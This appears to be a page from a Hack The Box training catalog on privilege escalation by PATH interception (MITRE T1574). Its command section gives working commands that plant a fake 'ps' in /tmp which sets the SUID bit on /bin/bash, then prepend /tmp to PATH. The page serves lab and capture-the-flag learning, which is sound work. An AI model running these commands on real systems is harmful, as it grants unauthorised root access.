Path Interception by PATH Environment Variable
Sub-technique of T1574 Hijack Execution Flow ↗
Putting your own program first in PATH with the name of a command a privileged process calls without an absolute path.
How it shows up on Hack The Box
Run strings on the SUID binary or sudo script: if it calls tar, ps or curl without /usr/bin/, create one in /tmp, prepend /tmp to PATH and run it.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Linux privilege escalation: sudo, SUID and capabilities 4 min read The three checks that give the most roots on Hack The Box: what sudo lets you run, which binaries are SUID and which capabilities they carry, with the usual abuse for each case.
- Linux privilege escalation: cron jobs, PATH hijacking, wildcards and the docker or lxd groups 4 min read When sudo and SUID give nothing: cron jobs with pspy, PATH hijacking, tar and rsync wildcards, and root from the docker, lxd, disk or adm groups.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Linux privilege escalation › Exploitation
Find calls without a path
strings /usr/local/bin/binario | grep -vE '^/'
Hijack the command
echo -e '#!/bin/bash\nchmod u+s /bin/bash' > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATHNo command matches.